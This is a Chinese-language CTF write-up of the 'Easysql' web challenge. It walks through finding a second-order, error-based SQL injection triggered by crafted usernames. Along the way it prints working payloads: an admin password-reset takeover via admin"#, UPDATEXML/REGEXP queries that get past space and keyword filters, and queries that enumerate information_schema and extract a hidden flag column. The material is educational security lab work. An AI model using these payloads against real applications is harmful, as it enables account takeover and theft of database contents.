Web – Easysql – WriteUp

看了一道SQL注入的题目 , 整体的思路与解题流程还是非常好玩的 , 记录在下面~


  • 首先是一个主界面 , 可以登录或者注册用户

    png

    遇到这种题目一般先拿 BurpSuite 代理看一下流程

    • Register.php

      png

    • Login.php

      发送登录请求( 请求的是 login.php 页面 )后先得到一个302重定向的响应包

      png

      然后客户端再次发送一个请求包( 请求的是 index.php 页面 ) , 然后成功登录到用户界面

      png

    • index.php

      png

      下面的三篇文章都是可以阅读的 , 猜测是通过文件包含的方式读取这些内容

      png

      点击自己的用户名后可以进入 user.php 页面

    • user.php

      png

      png

      这里可以看到当前的用户名 , 并且可以进入修改密码的页面 changepwd.php

    • changepwd.php

      png

      正常的修改密码界面 , 但是当oldpass填写错误时居然不会报错 . 虽然无法修改密码成功但这做的很不好啊~

      png


  • 现在对本题有个大概的了解了 , 所有的用户信息更新界面都可能存在SQL注入漏洞 , 而用户界面( index.php )则可能存在本地文件包含漏洞 .

    既然题目名为 : easysql , 那么很可能存在SQL注入漏洞 . 先拿 SQLMAP 扫描一下各个页面.

    不出所料的什么都没有扫描出来 , 如果一道SQL注入题目能直接被SQLMAP扫描到注入点 , 那这道题出的也太失败了2333

    手工注入的思路是先注册几个比较特殊的用户 , 查看每个界面的响应

    • 注册admin用户

      png

      admin用户已经存在 , 很可能该用户是预设的管理员用户~

    • 注册asd"用户

      png

      发现在修改密码( changepwd.php )时 , 页面输出了报错信息 , 这里很大可能存在报错注入 , 并且这里可以被定义为一个二次注入!


  • 一次失败的尝试

    找到了一个报错注入 , 这里能做的事情就非常多了! 最先想到的是之前那个admin用户 , 可以通过二次注入修改管理员的密码 , 并且以管理员的身份登录 !

    根据前一步输出的报错信息 , 我们可以猜测后端使用的SQL语句如下所示

    UPDATE sometablename SET pwd = "123" WHERE username = "asd" AND pwd='202cb962ac59075b964b07152d234b70'

    如果注册一个特殊的用户 admin"# , " 可以闭合前面的引号 , 而 # 可以截断后面的内容 , 这样新的SQL语句就变成了如下所示

    UPDATE sometablename SET pwd = "123" WHERE username = "admin"

    这样就可以成功修改admin用户的密码 , 以admin用户的身份登录 .

    png


  • 新的思路

    但以admin的身份登录后并没有什么收获 , 因为其他页面没有发现与普通用户有什么不同 . 并且用户页面( index.php )也没有找到文件包含漏洞 , 这里思考了好一会儿 .

    然后想到那个报错注入 , 我既然可以通过它修改其他用户的密码 , 那么也可以利用它实施其他的攻击

    想了一下整体的流程 , 发现这个报错注入漏洞是与注册的用户名有很大的关系的 , 所以从注册的用户名入手

    关于这个报错注入漏洞 , 我选择使用XPATH报错注入( UPDATEXML()函数 )来验证它 . 其他的报错注入函数应该也都可以使用 , 读者可以自己尝试 .

    Payload : admin" || UPDATEXML(1,CONCAT('~',(SELECT VERSION())),1)#

    然后发现注册报错了 , 说明其中含有非法字符

    png

    经过测试 , 发现注册的用户名中是不可以含有空格的 , 这是非常常用的过滤机制 , 可以用 括号() , 内联注释/*a*/ 等方式绕过这个检测机制

    但是测试后发现只有括号可以使用 , 其它的不可以 , 所以完整的Payload如下所示

    Payload : admin"||UPDATEXML(1,CONCAT('~',(SELECT(VERSION()))),1)#

    注册该用户后 , 修改密码 , 即可爆出当前MYSQL版本信息

    png


  • 验证了这个漏洞 , 下面就可以进一步利用了!

    • 先尝试拿到当前数据库下有哪些表

      Payload : admin"||UPDATEXML(1,CONCAT(0x3a,(SELECT(GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema)=(select(database()))),0x3a),1)#

      然后返回信息报错 : db error

      png

      经过检查 , 发现这里注册的用户名不能超过128个字符 , 超过128个字符就会报错

    • 因此这里需要一步一步来 , 首先拿到当前的数据库

      Payload : a"||UPDATEXML(1,CONCAT('~',(SELECT(DATABASE())),'~'),1)#

      png

      成功拿到当前数据库 web_sqli !

    • 拿到web_sqli数据库下存在的数据表

      Payload : a"||UPDATEXML(1,CONCAT(0,(SELECT(GROUP_CONCAT(table_name))FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA='web_sqli'))),1)#

      值得一提的是 , 原本这里需要用到 LIMIT 函数 , 但是 LIMIT 函数存在一个局限性 , 该函数必须包含空格 , 且无法通过其他字符替换( LIMIT 0,1 ) !

      所以这里选择使用 GROUP_CONCAT() 函数拼接所有的结果 , 但该函数同样存在局限性 . GROUP_CONCAT()函数只能返回32个字符 , 这个问题非常关键!

      png

      发现了一张名为flag的表 , 其中很可能含有需要的flag!

    • 拿到flag表中的字段

      因为在 MySQL数据库中 , 默认是没有flag这个表的 , 所以这里可以不添加table_schema字段而直接搜索 , 返回的结果肯定来源于用户创建的flag表

      png

      Payload :a"||UPDATEXML(1,CONCAT(0,(SELECT(GROUP_CONCAT(column_name))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME='flag'))),1)#`

      注意这里没有添加 table_schema 的条件 !

      png

      flag表中存在flag字段 , 下面只需要查看该字段的值就可以了

    • 拿到flag字段中的值

      因为已经知道了数据库名和表名 , 所以这一步就非常简单了!

      Payload :a"||UPDATEXML(1,CONCAT(0,(SELECT(GROUP_CONCAT(flag))FROM(web_sqli.flag))),1)#`

      png

      然后发现flag不在这里 , 绝了...


  • 一些其他思路

    想了想觉得flag还是在数据库中 , 所以还得利用这个报错注入漏洞

    之前查询web_sqli数据库时 , 还发现了一个users表 , 所以我尝试查询users表中的字段有哪些

    然后就遇到问题了~

    • MySQL数据库中默认存在users表

      PNG

      在数据库中查询 users 表 , 最先查到的是默认存在的 performance_schema.users 表 , 并且该表中的字段长度和已经超出了32个字符 . 因此无论是哪个数据库 , 报错注入的结果都是下面这样的

      PNG

      报错的数据都不是我想要的

    • 大量函数无法使用

      你肯定会想到MySQL中大量的字串截断函数( MID , LEFT , RIGHT , SUBSTRING , SUBSTR .... ) , 但是经过测试 , 这些关键字在注册时会被检测出来 , 无法注册成功 !

      png

    • 用户名总长度的限制

      之前查询flag表时 , 因为MySQL中默认没有flag表 , 所以我在构造Payload时没有添加 table_schema 字段 . 那么这里能否添加 table_schema 字段呢?

      来看下整个Payload的构造

      1. 查询语句 ( 119字符 )

      SELECT(GROUP_CONCAT(column_name))FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME='users')AND(TABLE_SCHEMA="web_sqli"))

      1. 本题UPDATEXML()报错格式 ( 31个字符 )

      "||UPDATEXML(1,CONCAT(0,( ... )),1)#

      上面是我在尽可能缩短语句的情况下构造出来的 , 可以看到这里至少需要150个字符 , 远远超过了规定的128个字符

      所以添加 table_schema 字段是不现实的!


  • 最终的解决方案

    然后我一直没什么好的想法 . 中午休息时学长建议可以用LIKE语句试一试 , 然后我找到了突破点

    • LIKE关键字在注册时会被过滤

      png

    • REGEXP关键字在注册时顺利通过!

      png

    • 既然可以使用正则匹配 , 那么为什么还要执着于users表呢? 何不换一种思路 , 直接搜索数据库中与flag相关的列呢? 构造 Payload 如下

      Payload : "||UPDATEXML(1,(SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(information_schema.COLUMNS)WHERE(COLUMN_NAME)REGEXP("flag")),1)#

      png

    • 这里有了突破 , 一个以 rea 开头的字段与 flag 有关 , 可以继续构造 Payload 探索该字段

      Payload : "||UPDATEXML(1,CONCAT(0,(SELECT(COLUMN_NAME)FROM(information_schema.COLUMNS)WHERE(COLUMN_NAME)REGEXP("^rea.*flag.*"))),1)#

      png

      real_flag_1s_here ! 就是它了 !

    • 找到了需要的字段 , 现在仅需要知道它属于哪个表就可以了!

      Payload : "||UPDATEXML(1,CONCAT(0,(SELECT(table_name)FROM(information_schema.columns)where(column_name)=("real_flag_1s_here"))),1)#

      png

    • 发现是users表 , 现在知道的信息足够读取flag了

      Payload : "||UPDATEXML(1,CONCAT(0,(SELECT(GROUP_CONCAT(real_flag_1s_here))FROM(web_sqli.users))),1)#

      然后发现返回信息是另一个报错

      png

      报错的大致意思是 : 在同一语句中不能先select出同一表中的某些值 , 再update这个表

      这里找到了解决方法 , 添加一个中间表就可以了 .

      Payload : "||UPDATEXML(1,CONCAT(0,(SELECT*FROM(SELECT(GROUP_CONCAT(real_flag_1s_here))FROM(web_sqli.users))a)),1)#

      png

      这是啥玩意 ...

    • 想了下 , 这里应该是 real_flag_1s_here 字段值不止一个 , 并且先查询到的值是一堆" x " , 这里继续用正则匹配就行了 . 猜测正确值与 " CTF " 这个字段有关

      Exploit : "||UPDATEXML(1,CONCAT(0,(SELECT*FROM(SELECT(real_flag_1s_here)FROM(users)WHERE(real_flag_1s_here)REGEXP("CTF"))a)),1)#

      png

      成功拿到 flag !


总结

这道题真的非常好玩 , 各种条件限制下构造出正确的EXP真的非常爽 , 通过本题我收获了很多 !

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇